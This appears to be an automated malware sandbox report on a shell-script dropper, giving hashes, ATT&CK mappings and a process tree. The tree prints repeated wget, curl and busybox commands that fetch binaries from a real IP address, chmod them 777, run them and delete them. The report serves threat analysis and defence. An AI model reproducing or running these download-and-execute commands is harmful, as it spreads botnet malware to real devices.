4662fe6526ba83645f6a4d758194c90846d5a97df90db0a9e160fa69f4de60f5

Analysis

max time kernel
28s
max time network
29s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
22/11/2024, 02:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
4662fe6526ba83645f6a4d758194c90846d5a97df90db0a9e160fa69f4de60f5.sh
Size 10KB
Sample241122-ctpv7asmex
SHA256 4662fe6526ba83645f6a4d758194c90846d5a97df90db0a9e160fa69f4de60f5
MD5 7adee6a82232c4e4e503f4376352494b
SHA1 23340b6f7c25a2f123fd4d1fad6b7c97bfc3160a
SHA512 51e27f561e817abb5804fa57fdad07cf5f9bdf3bdf8907c7cca587cd4a122fb7f2ca22b3db0a013b43fdcebcc7b98ed7cf847e65c2155035d9e58a65eb5c9f6c
SSDEEP 96:Thk1e+cxt3ZB0X0v050i0O0V73nAoF1M181s1f1r1FTiG/wmlp1M181s1f1r194E:FkKWEse3D/mqypJfTisfmqypJeEse3Dd
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 20 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
727	chmod
787	chmod
849	chmod
831	chmod
837	chmod
856	chmod
750	chmod
775	chmod
793	chmod
799	chmod
825	chmod
843	chmod
819	chmod
863	chmod
677	chmod
702	chmod
769	chmod
781	chmod
807	chmod
813	chmod

Executes dropped EXE 20 IoCs

Checks CPU configuration 1 TTPs 20 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 40 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 20 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5	curl
File opened for modification	/tmp/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5	curl
File opened for modification	/tmp/c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA	curl
File opened for modification	/tmp/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5	curl
File opened for modification	/tmp/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0	curl
File opened for modification	/tmp/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL	curl
File opened for modification	/tmp/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz	curl
File opened for modification	/tmp/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d	curl
File opened for modification	/tmp/D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx	curl
File opened for modification	/tmp/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX	curl
File opened for modification	/tmp/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL	curl
File opened for modification	/tmp/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An	curl
File opened for modification	/tmp/VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH	curl
File opened for modification	/tmp/ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z	curl
File opened for modification	/tmp/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0	curl
File opened for modification	/tmp/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ	curl
File opened for modification	/tmp/CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c	curl
File opened for modification	/tmp/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ	curl
File opened for modification	/tmp/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5	curl
File opened for modification	/tmp/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz	curl

/tmp/4662fe6526ba83645f6a4d758194c90846d5a97df90db0a9e160fa69f4de60f5.sh
/tmp/4662fe6526ba83645f6a4d758194c90846d5a97df90db0a9e160fa69f4de60f5.sh
1⤵
PID:637
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:639
- /usr/bin/wget
  wget http://216.126.231.240/bins/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  PID:641
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:667
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  PID:671
- /bin/chmod
  chmod 777 Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  - File and Directory Permissions Modification
  PID:677
- /tmp/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  ./Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  - Executes dropped EXE
  PID:679
- /bin/rm
  rm Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  PID:680
- /usr/bin/wget
  wget http://216.126.231.240/bins/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  PID:681
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:688
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  PID:696
- /bin/chmod
  chmod 777 bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  - File and Directory Permissions Modification
  PID:702
- /tmp/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  ./bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  - Executes dropped EXE
  PID:704
- /bin/rm
  rm bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  PID:705
- /usr/bin/wget
  wget http://216.126.231.240/bins/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  PID:707
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:714
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  PID:724
- /bin/chmod
  chmod 777 XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  - File and Directory Permissions Modification
  PID:727
- /tmp/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  ./XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  - Executes dropped EXE
  PID:728
- /bin/rm
  rm XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  PID:729
- /usr/bin/wget
  wget http://216.126.231.240/bins/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  PID:730
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:731
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  PID:735
- /bin/chmod
  chmod 777 wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  ./wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  - Executes dropped EXE
  PID:751
- /bin/rm
  rm wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  PID:753
- /usr/bin/wget
  wget http://216.126.231.240/bins/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  PID:754
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:761
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  PID:768
- /bin/chmod
  chmod 777 UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /tmp/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  ./UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  - Executes dropped EXE
  PID:770
- /bin/rm
  rm UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  PID:771
- /usr/bin/wget
  wget http://216.126.231.240/bins/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  PID:772
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:773
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  PID:774
- /bin/chmod
  chmod 777 1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  - File and Directory Permissions Modification
  PID:775
- /tmp/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  ./1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  - Executes dropped EXE
  PID:776
- /bin/rm
  rm 1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  PID:777
- /usr/bin/wget
  wget http://216.126.231.240/bins/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  2⤵
  PID:778
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:779
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  2⤵
  PID:780
- /bin/chmod
  chmod 777 YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  ./YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  2⤵
  - Executes dropped EXE
  PID:782
- /bin/rm
  rm YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  2⤵
  PID:783
- /usr/bin/wget
  wget http://216.126.231.240/bins/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  2⤵
  PID:784
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:785
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  2⤵
  PID:786
- /bin/chmod
  chmod 777 GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  2⤵
  - File and Directory Permissions Modification
  PID:787
- /tmp/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  ./GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  2⤵
  - Executes dropped EXE
  PID:788
- /bin/rm
  rm GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  2⤵
  PID:789
- /usr/bin/wget
  wget http://216.126.231.240/bins/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  PID:790
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:791
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  PID:792
- /bin/chmod
  chmod 777 IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  ./IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  - Executes dropped EXE
  PID:794
- /bin/rm
  rm IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  PID:795
- /usr/bin/wget
  wget http://216.126.231.240/bins/D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  2⤵
  PID:796
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:797
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  2⤵
  PID:798
- /bin/chmod
  chmod 777 D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  ./D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  2⤵
  - Executes dropped EXE
  PID:800
- /bin/rm
  rm D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  2⤵
  PID:801
- /usr/bin/wget
  wget http://216.126.231.240/bins/VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  2⤵
  PID:802
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:803
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  2⤵
  PID:806
- /bin/chmod
  chmod 777 VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  2⤵
  - File and Directory Permissions Modification
  PID:807
- /tmp/VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  ./VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  2⤵
  - Executes dropped EXE
  PID:808
- /bin/rm
  rm VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  2⤵
  PID:809
- /usr/bin/wget
  wget http://216.126.231.240/bins/CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  2⤵
  PID:810
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:811
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  2⤵
  PID:812
- /bin/chmod
  chmod 777 CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  2⤵
  - File and Directory Permissions Modification
  PID:813
- /tmp/CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  ./CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  2⤵
  - Executes dropped EXE
  PID:814
- /bin/rm
  rm CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  2⤵
  PID:815
- /usr/bin/wget
  wget http://216.126.231.240/bins/c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  2⤵
  PID:816
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:817
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  2⤵
  PID:818
- /bin/chmod
  chmod 777 c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /tmp/c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  ./c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  2⤵
  - Executes dropped EXE
  PID:820
- /bin/rm
  rm c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  2⤵
  PID:821
- /usr/bin/wget
  wget http://216.126.231.240/bins/ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  2⤵
  PID:822
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:823
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  2⤵
  PID:824
- /bin/chmod
  chmod 777 ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  ./ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  2⤵
  - Executes dropped EXE
  PID:826
- /bin/rm
  rm ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  2⤵
  PID:827
- /usr/bin/wget
  wget http://216.126.231.240/bins/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  PID:828
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:829
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  PID:830
- /bin/chmod
  chmod 777 bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  - File and Directory Permissions Modification
  PID:831
- /tmp/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  ./bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  - Executes dropped EXE
  PID:832
- /bin/rm
  rm bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  PID:833
- /usr/bin/wget
  wget http://216.126.231.240/bins/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  PID:834
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:835
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  PID:836
- /bin/chmod
  chmod 777 XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  - File and Directory Permissions Modification
  PID:837
- /tmp/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  ./XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  - Executes dropped EXE
  PID:838
- /bin/rm
  rm XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  PID:839
- /usr/bin/wget
  wget http://216.126.231.240/bins/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  PID:840
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:841
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  PID:842
- /bin/chmod
  chmod 777 IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  - File and Directory Permissions Modification
  PID:843
- /tmp/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  ./IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  - Executes dropped EXE
  PID:844
- /bin/rm
  rm IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  PID:845
- /usr/bin/wget
  wget http://216.126.231.240/bins/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  PID:846
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:847
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  PID:848
- /bin/chmod
  chmod 777 wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  - File and Directory Permissions Modification
  PID:849
- /tmp/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  ./wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  - Executes dropped EXE
  PID:850
- /bin/rm
  rm wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  PID:851
- /usr/bin/wget
  wget http://216.126.231.240/bins/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  PID:852
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:853
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  PID:854
- /bin/chmod
  chmod 777 UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  ./UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  - Executes dropped EXE
  PID:857
- /bin/rm
  rm UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  PID:858
- /usr/bin/wget
  wget http://216.126.231.240/bins/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  PID:859
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:861
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  PID:862
- /bin/chmod
  chmod 777 1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  - File and Directory Permissions Modification
  PID:863
- /tmp/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  ./1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  - Executes dropped EXE
  PID:864
- /bin/rm
  rm 1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  PID:865
- /usr/bin/wget
  wget http://216.126.231.240/bins/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  2⤵
  PID:866

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX

Path /tmp/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX	679	Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
/tmp/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5	704	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
/tmp/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0	728	XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
/tmp/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL	751	wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
/tmp/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5	770	UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
/tmp/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz	776	1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
/tmp/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An	782	YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
/tmp/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d	788	GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
/tmp/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ	794	IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
/tmp/D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx	800	D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
/tmp/VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH	808	VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
/tmp/CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c	814	CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
/tmp/c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA	820	c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
/tmp/ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z	826	ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
